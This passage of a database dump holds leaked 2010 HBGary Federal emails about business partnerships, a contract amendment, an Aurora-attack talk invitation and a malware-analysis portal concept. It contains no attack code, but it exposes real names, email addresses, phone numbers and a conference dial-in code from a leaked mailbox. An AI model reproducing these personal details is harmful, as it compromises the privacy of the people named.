Federal Inc.\r\n\r\n',9035,'aaron_hbgary_com/9035.html'),(4909,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003139.M912712P3547Q4909.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','Hey Dave,I don\'t show that I replied to this, I thought I did. &nbsp;How about this week? &nbsp;I will be at Palantir GovCon all day Wed. and have some meetings mid day on Thursday but other than that pretty free.AaronOn Mar 30, 2010, at 10:54 PM, Etue, David wrote:\r\n\r\nAarron,\r\n&nbsp;\r\nHope the proposal went well and you got a good night\'s rest afterwards :)\r\n&nbsp;\r\nWhen is a good time to catch up?David\r\n\r\n\r\nFrom: Aaron BarrSent: Thu 3/18/2010 1:36 AMTo: Etue, DavidSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\nThats right you mentioned that. &nbsp;Wow thats a milestone. &nbsp;Once this DARPA proposal is over (extended until 29March) we will have to catch up. \r\n\r\nAaron\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\nYep&nbsp;J&nbsp; Actually got a few days of vacation in—went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was late, so just got home from the airport!&nbsp; Off to bed once I catch up on mail…\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 1:31 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\nThanks.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name (Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;Sent:&nbsp;Saturday, March 13, 2010 4:42 PMTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'Subject:&nbsp;Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\nAaron, Greg, and Penny,\r\n\r\nBased on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid Etue, CIPP/GVP, Products and Markets\r\n\r\n4416 East West Highway, Suite 310Bethesda, MD 20814\r\n\r\n\r\n\r\ndavid.etue@fidelissecurity.comhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\ntel:&nbsp;fax:&nbsp;mobile:\r\n\r\n(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlways have my latest info\r\n\r\nWant a signature like this?\r\n\r\n\r\n\r\n\r\n&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5912,'aaron_hbgary_com/5912.html'),(4910,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003140.M114604P3547Q4910.eml','\"Rushing, Michael A. (Xetron)\" <Michael.Rushing@ngc.com>','Re: Amendment 1 to PIEA','Hi Mike,Looks good. &nbsp;If you could change HBGary Inc. to HBGary Federal, LLC then I think we are set.AaronOn Mar 30, 2010, at 4:50 PM, Rushing, Michael A. (Xetron) wrote:Aaron,My apologies for this falling completely off my radar screen.&nbsp; Attached is a proposed amendment to the current PIEA which I believe will address your concerns relative to the provision of your source code to us for evaluation.&nbsp; Hopefully, you will find the enclosed language in line with our previous discussion.&nbsp; If you have no objection, please sign and return – I will then execute and return a completed copy for your records.&nbsp; Let me know if you have questions.&nbsp;Mike RushingContracts ManagerNorthrop Grumman - XetronTelephone: (513) 881-3263Mobile: (513) 473-9498Fax:&nbsp; (513) 881-3882&nbsp;&lt;AMENDMENT 001.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7662,'aaron_hbgary_com/7662.html'),(4911,'2010-04-05','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297003140.M307621P3547Q4911.eml','aaron@hbgary.com','Fw: Aurora Exploit Talk at SAIC','Aaron,\r\nGood to see you on this agenda.\r\n\r\nLet me know your availability to reconnect this week. I will be in Crystal City tomorrow and would be available to meet after lunch.\r\n\r\nI have some updates to share with you too. Thanks\r\n\r\nJohn\r\n7036229025\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Estell, Timothy W. \r\nTo: Fodor, Ronald J. ; Blackburn, Jonathan T. ; Murray, Katea S. ; Horton, Andrew M. ; Dexter, Gordon M. ; Bray, Erik M. ; Johnson, Eric S. ; Chan, Cheng-Chia ; Ken Zatyko ; Carl M. Powell ; Ray Gazaway; John Farrell\r\nSent: Mon Apr 05 07:55:21 2010\nSubject: Aurora Exploit Talk at SAIC\r\n\r\nAll,\r\n\r\nScott Sheldon has posted invitations on Facebook and LinkedIn to our\r\nnext Tech Tuesday talk.\r\n\r\nTuesday, April 27th at 1600 in SAIC\'s conference room at 6841 Benjamin\r\nFranklin Drive.\r\n\r\nThis should be a good talk with some insight beyond what we\'ve all read\r\nin the news. Google \"aurora exploit\" for background reading.\r\n\r\nAny an all are invited, so distribute widely. We typically have about 30\r\nattendees from SAIC and our large network of team partners.\r\n\r\nTim.\r\n\r\nBIO\r\n\r\nAaron Barr is the CEO of HBGary Federal, a services company focused on\r\ndelivering specialized malware analysis, incident response, and\r\ninformation operations capabilities to the IC, DoD, and Federal\r\nagencies.  Previously, Aaron served as the Director of Technology for\r\nthe Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\nIntelligence Systems Division, and as the Chief Engineer for Northrop\r\nGrummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\ndeveloping technical strategies and roadmaps for a $750 million\r\norganization as well as managing approximately $20 million in Research\r\nand Development projects. Prior to joining Northrop Grumman, Mr. Barr\r\nserved 12 years in the United States Navy as an enlisted cryptologist,\r\nsenior signals analyst, software programmer, and system administrator.\r\nMr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola\r\nFlorida, and Rota Spain. While serving in Norfolk Virginia, he was\r\naccepted into the Enlisted Education Advancement Program (EEAP) where he\r\nfinished a Bachelors of Science in Biology, minoring in Chemistry, later\r\ncompleting a Masters in Computer Science with an emphasis in Computer\r\nSecurity. He has been a panelist and given speeches on cybersecurity and\r\nemerging technologies at numerous Intelligence Community and DoD\r\nconferences and symposiums.\r\n\r\nAbstract\r\n\r\nPrior to Operation Aurora most people had never heard of the term APT,\r\nnow you can\'t get away from it.  Operation Aurora while maybe not a\r\nbell-weather event, certainly raised the consciousness of cybersecurity\r\nand the threats that do exist.  But awareness is not always a good\r\nthing, as many still have a very superficial and naive perspective on\r\nwhat the advanced persistent threat is, what it is not, and what needs\r\nto be done to combat it.  This discussion will discuss the attributes of\r\nthe Aurora event and the state of cybersecurity today within the Federal\r\ngovernment.\r\n\r\n',8394,'aaron_hbgary_com/8394.html'),(4912,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003140.M526032P3547Q4912.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nInteresting.&nbsp; DoD buys a certain number of DDNA endpoint scans\r\n(Clip with dissolvable agent?).&nbsp; yeah, your vision keeps expanding. Cool.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:18 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLol. &nbsp;Agreed it needs more work. &nbsp;I put it\r\ntogether in 2 minutes. &nbsp;It was a concept to get your thoughts. &nbsp;The\r\nDDNA is for portal deployments, so people can download DDNA to a host system\r\nand have it submitted back into the security portal for analysis and then a\r\nreport. &nbsp;Agreed on TMC it is just a runtime analysis engine. &nbsp;I am\r\nthinking of a larger enterprise solution for DoD. &nbsp;ok maybe we need to\r\nhave a conversation about this. &nbsp;TMC + webefied Responder, so people can\r\nsubmit samples and scan systems over a distributed architecture. &nbsp;As well\r\nthey can include the portal into their operational processes to search for\r\nstrings, etc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nmake sense?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 10:06 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think the diagram needs more work.&nbsp; Certainly, you can\r\nshow more detail and better define what is in it for the end users.&nbsp; I\r\nfind the DDNA Clip confusing &#8211; what does that have to do with TMC?&nbsp; The\r\nDDNA Clip is for controlling licensing of DDNA on host endpoints.&nbsp; To me\r\nit has nothing to do with TMC.&nbsp; TMC is a runtime analysis engine that will\r\ninclude REcon + DDNA or either one alone.&nbsp; The starting point for TMC is a\r\nload of malware either submitted via a frontend hopper or from end users via\r\nthe web.&nbsp; The diagram needs to tell what goes into the machine, happens in\r\nthe machine, and what comes out the other end.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:48 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYep sounds good.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd I can help sell both if needed, depending on if some\r\ncustomers want to have classified conversations or not, or provide any other\r\nservices within a classified environment. &nbsp;For example, if they need the\r\nintegration to be done in a classified environment, HBGFed can help. &nbsp;Let\r\nme know. &nbsp;I will start writing some today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think about the following drawing? &nbsp;I think\r\nthere is an architecture that can work for Government using a web portal as the\r\nfront end to a larger environment.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOff of the NSA portal on SIPR net would be the ability to\r\nquery information (this could include Palantir stored scenarios) they could\r\nsubmit samples as well as request DDNA to be deployed to a particular box for\r\nanalysis and then submission back into the TMC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9809,'aaron_hbgary_com/9809.html'),(4913,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003140.M766184P3547Q4913.eml','\"John Farrell\" <john@endgames.us>','Re: Aurora Exploit Talk at SAIC','Sounds good.  I will be at Palantir GovCon all day Wednesday and have some meeting mid day Thursday in DC.  I am pretty free the rest of the week.\r\n\r\nAaron\r\n\r\nOn Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Good to see you on this agenda.\r\n> \r\n> Let me know your availability to reconnect this week. I will be in Crystal City tomorrow and would be available to meet after lunch.\r\n> \r\n> I have some updates to share with you too. Thanks\r\n> \r\n> John\r\n> 7036229025\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Estell, Timothy W. \r\n> To: Fodor, Ronald J. ; Blackburn, Jonathan T. ; Murray, Katea S. ; Horton, Andrew M. ; Dexter, Gordon M. ; Bray, Erik M. ; Johnson, Eric S. ; Chan, Cheng-Chia ; Ken Zatyko ; Carl M. Powell ; Ray Gazaway; John Farrell\r\n> Sent: Mon Apr 05 07:55:21 2010\r\n> Subject: Aurora Exploit Talk at SAIC\r\n> \r\n> All,\r\n> \r\n> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n> next Tech Tuesday talk.\r\n> \r\n> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841 Benjamin\r\n> Franklin Drive.\r\n> \r\n> This should be a good talk with some insight beyond what we\'ve all read\r\n> in the news. Google \"aurora exploit\" for background reading.\r\n> \r\n> Any an all are invited, so distribute widely. We typically have about 30\r\n> attendees from SAIC and our large network of team partners.\r\n> \r\n> Tim.\r\n> \r\n> BIO\r\n> \r\n> Aaron Barr is the CEO of HBGary Federal, a services company focused on\r\n> delivering specialized malware analysis, incident response, and\r\n> information operations capabilities to the IC, DoD, and Federal\r\n> agencies.  Previously, Aaron served as the Director of Technology for\r\n> the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\n> Intelligence Systems Division, and as the Chief Engineer for Northrop\r\n> Grummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\n> developing technical strategies and roadmaps for a $750 million\r\n> organization as well as managing approximately $20 million in Research\r\n> and Development projects. Prior to joining Northrop Grumman, Mr. Barr\r\n> served 12 years in the United States Navy as an enlisted cryptologist,\r\n> senior signals analyst, software programmer, and system administrator.\r\n> Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola\r\n> Florida, and Rota Spain. While serving in Norfolk Virginia, he was\r\n> accepted into the Enlisted Education Advancement Program (EEAP) where he\r\n> finished a Bachelors of Science in Biology, minoring in Chemistry, later\r\n> completing a Masters in Computer Science with an emphasis in Computer\r\n> Security. He has been a panelist and given speeches on cybersecurity and\r\n> emerging technologies at numerous Intelligence Community and DoD\r\n> conferences and symposiums.\r\n> \r\n> Abstract\r\n> \r\n> Prior to Operation Aurora most people had never heard of the term APT,\r\n> now you can\'t get away from it.  Operation Aurora while maybe not a\r\n> bell-weather event, certainly raised the consciousness of cybersecurity\r\n> and the threats that do exist.  But awareness is not always a good\r\n> thing, as many still have a very superficial and naive perspective on\r\n> what the advanced persistent threat is, what it is not, and what needs\r\n> to be done to combat it.  This discussion will discuss the attributes of\r\n> the Aurora event and the state of cybersecurity today within the Federal\r\n> government.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1897,'aaron_hbgary_com/1897.html'),(4914,'2010-04-05','\"Rushing, Michael A. (Xetron)\" <Michael.Rushing@ngc.com>','/aaron@hbgary.com/new/1297003143.M102467P3547Q4914.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Amendment 1 to PIEA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThe correction has been made &#8211; attached is the signed\r\namendment.&nbsp; Please return a fully executed copy to my attention.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike Rushing\r\n\r\nContracts Manager\r\n\r\nNorthrop Grumman - Xetron\r\n\r\nTelephone: (513) 881-3263\r\n\r\nMobile: (513) 473-9498\r\n\r\nFax:&nbsp; (513) 881-3882\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:50 AM\r\nTo: Rushing, Michael A. (Xetron)\r\nSubject: Re: Amendment 1 to PIEA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooks good. &nbsp;If you could change HBGary Inc. to HBGary\r\nFederal, LLC then I think we are set.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 4:50 PM, Rushing, Michael A. (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nMy\r\napologies for this falling completely off my radar screen.&nbsp; Attached is a\r\nproposed amendment to the current PIEA which I believe will address your\r\nconcerns relative to the provision of your source code to us for\r\nevaluation.&nbsp; Hopefully, you will find the enclosed language in line with\r\nour previous discussion.&nbsp; If you have no objection, please sign and return\r\n&#8211; I will then execute and return a completed copy for your records.&nbsp; Let\r\nme know if you have questions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nRushing\r\n\r\n\r\n\r\n\r\n\r\nContracts\r\nManager\r\n\r\n\r\n\r\n\r\n\r\nNorthrop\r\nGrumman - Xetron\r\n\r\n\r\n\r\n\r\n\r\nTelephone:\r\n(513) 881-3263\r\n\r\n\r\n\r\n\r\n\r\nMobile:\r\n(513) 473-9498\r\n\r\n\r\n\r\n\r\n\r\nFax:&nbsp;\r\n(513) 881-3882\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;AMENDMENT\r\n001.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12090,'aaron_hbgary_com/12090.html'),(4915,'2010-04-05','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297003150.M466533P3547Q4915.eml','aaron@hbgary.com','Re: Aurora Exploit Talk at SAIC','Ok, let\'s meet in Crystal City tomorrow @ 1pm. 23rd street Starbucks work for you?\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Mon Apr 05 09:56:45 2010\nSubject: Re: Aurora Exploit Talk at SAIC\r\n\r\nSounds good.  I will be at Palantir GovCon all day Wednesday and have some meeting mid day Thursday in DC.  I am pretty free the rest of the week.\r\n\r\nAaron\r\n\r\nOn Apr 5, 2010, at 10:52 AM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Good to see you on this agenda.\r\n> \r\n> Let me know your availability to reconnect this week. I will be in Crystal City tomorrow and would be available to meet after lunch.\r\n> \r\n> I have some updates to share with you too. Thanks\r\n> \r\n> John\r\n> 7036229025\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Estell, Timothy W. \r\n> To: Fodor, Ronald J. ; Blackburn, Jonathan T. ; Murray, Katea S. ; Horton, Andrew M. ; Dexter, Gordon M. ; Bray, Erik M. ; Johnson, Eric S. ; Chan, Cheng-Chia ; Ken Zatyko ; Carl M. Powell ; Ray Gazaway; John Farrell\r\n> Sent: Mon Apr 05 07:55:21 2010\r\n> Subject: Aurora Exploit Talk at SAIC\r\n> \r\n> All,\r\n> \r\n> Scott Sheldon has posted invitations on Facebook and LinkedIn to our\r\n> next Tech Tuesday talk.\r\n> \r\n> Tuesday, April 27th at 1600 in SAIC\'s conference room at 6841 Benjamin\r\n> Franklin Drive.\r\n> \r\n> This should be a good talk with some insight beyond what we\'ve all read\r\n> in the news. Google \"aurora exploit\" for background reading.\r\n> \r\n> Any an all are invited, so distribute widely. We typically have about 30\r\n> attendees from SAIC and our large network of team partners.\r\n> \r\n> Tim.\r\n> \r\n> BIO\r\n> \r\n> Aaron Barr is the CEO of HBGary Federal, a services company focused on\r\n> delivering specialized malware analysis, incident response, and\r\n> information operations capabilities to the IC, DoD, and Federal\r\n> agencies.  Previously, Aaron served as the Director of Technology for\r\n> the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\n> Intelligence Systems Division, and as the Chief Engineer for Northrop\r\n> Grummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\n> developing technical strategies and roadmaps for a $750 million\r\n> organization as well as managing approximately $20 million in Research\r\n> and Development projects. Prior to joining Northrop Grumman, Mr. Barr\r\n> served 12 years in the United States Navy as an enlisted cryptologist,\r\n> senior signals analyst, software programmer, and system administrator.\r\n> Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola\r\n> Florida, and Rota Spain. While serving in Norfolk Virginia, he was\r\n> accepted into the Enlisted Education Advancement Program (EEAP) where he\r\n> finished a Bachelors of Science in Biology, minoring in Chemistry, later\r\n> completing a Masters in Computer Science with an emphasis in Computer\r\n> Security. He has been a panelist and given speeches on cybersecurity and\r\n> emerging technologies at numerous Intelligence Community and DoD\r\n> conferences and symposiums.\r\n> \r\n> Abstract\r\n> \r\n> Prior to Operation Aurora most people had never heard of the term APT,\r\n> now you can\'t get away from it.  Operation Aurora while maybe not a\r\n> bell-weather event, certainly raised the consciousness of cybersecurity\r\n> and the threats that do exist.  But awareness is not always a good\r\n> thing, as many still have a very superficial and naive perspective on\r\n> what the advanced persistent threat is, what it is not, and what needs\r\n> to be done to combat it.  This discussion will discuss the attributes of\r\n> the Aurora event and the state of cybersecurity today within the Federal\r\n> government.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5016,'aaron_hbgary_com/5016.html'),(4916,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003152.M121941P3547Q4916.eml','\"Greg Hoglund\" <greg@hbgary.com>','Enterprise DoD/Gov Solution','Greg,\r\n\r\nI want to get your thoughts on an idea (we discussed this a little a few weeks ago).\r\n\r\nI threw a drawing together just to represent a rough concept.\r\n\r\nUsing a portal to submit malware samples or request a DDNA deployment for host imaging and then submission back to the portal for analysis and reporting.  From the portal you can query strings, hashes, maybe eventually partner capabilities like palantir scenarios.  The portal becomes the central point for communicating across DoD about malware as well as one of the first steps within their incident handling processes.  The portal could be at NSA or in any organization, could be for .mil/.gov wide or for smaller deployments, but provides a web based deployed and managed capability.\r\n\r\n\r\n',12735,'aaron_hbgary_com/12735.html'),(4917,'2010-04-05','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003152.M400351P3547Q4917.eml','aaron@hbgary.com,\"JD Kathuria\" <jd@executivebiz.com>','4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Dial In info - 800 760 3309: Code 74491765\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Tuesday, April 13, 2010 11:30 AM- 12:00 PM Eastern Time (US &amp; Canada).\r\nWhere: 800 760 3309: Code 74491765\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAaron,\r\nSo glad we were able get you set up for the conference call.&nbsp; You’ll be speaking with myself and our co-founder, JD Kathuria about our invite only, executive 4 x 24 Group focused on cyber.&nbsp; Recruiting for the Cyber Group started on March 1st and we are\r\nvery pleased with the rate at which it is ramping up.  For your review, I’ve included the list of members already signed on. Aside from those members, we have a verbal commitment from ITT but are waiting for them to identify the person they want participating.&nbsp;\r\n\r\n&nbsp;\r\nCurrent:\r\n1. Bill Phelps, Accenture\r\n2. Skip Foote, American Systems\r\n3. Jeff Berkin, CACI\r\n4. Vince Pratuch, Cisco Systems\r\n5. JR Reagan, Deloitte Services, LP\r\n6. Samuel Chun, HP\r\n7. Charles Palmer, IBM\r\n8. Dusty Wince, KnowledgeCG\r\n9. Bill Varner, ManTech Int’l. (Chairman)\r\n10. Scott Miller, Microsoft\r\n11. Gary Gagnon, MITRE\r\n12. Shawn Carroll, Qwest\r\n13. Larry Cox, SAIC\r\n14. Mike Fraser, USIS\r\n15. TBD, ITT \r\n&nbsp;\r\nPLEASE NOTE: \r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Conference Call dial-in number and participant code are listed above\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If you need to make any changes or have any questions, please call me @ 703-226-7016 or send an email to jennifer@executivebiz.com \r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The morning of the call I’ll send out a Go To Meeting link for the visual aspect of our call.\r\n&nbsp;\r\nPlease check out our emagazine at www.executivebiz.com where you\'ll find out about all the latest happenings in the government contracting arena.&nbsp; \r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',4676,'aaron_hbgary_com/4676.html'),(4918,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003152.M644203P3547Q4918.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Message to all Palantir Conference Partners - CORRECTION','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe booth takes 2 hours to setup.&nbsp; I will help you with\r\nthat.&nbsp; Tell me when and where.\r\n\r\n&nbsp;\r\n\r\nAs for tech guy at the booth, Rich is your only option.&nbsp;\r\nHis schedule shows he is free.&nbsp; I left him a message asking if he will do\r\nit.&nbsp; FYI, having a tech guy at the booth is definitely useful but you can\r\nstill have a good showing without.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:07 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Message to all Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSomeone else would be helpful seeing that I have never\r\nworked the HBGary booth before. &nbsp;There are going to be lots of folks from\r\nthe Intel community there and I don\'t want to have a bad showing. &nbsp;I was\r\nnot going to have a booth but Penny thought it was a good idea, so I signed up.\r\n&nbsp;I would hope HBGary could support (some technical I think would help).\r\n&nbsp;The conference is from 10-5pm (setup in the morning or evening the day\r\nbefore). &nbsp;Again, none of this I have done for HBGary so some help would be\r\nvery much appreciated. &nbsp;I am sure I don\'t need someone all day, but I\r\nwould like some help to set up (make sure things go in the right places and to\r\nwatch the rhythm for a bit. 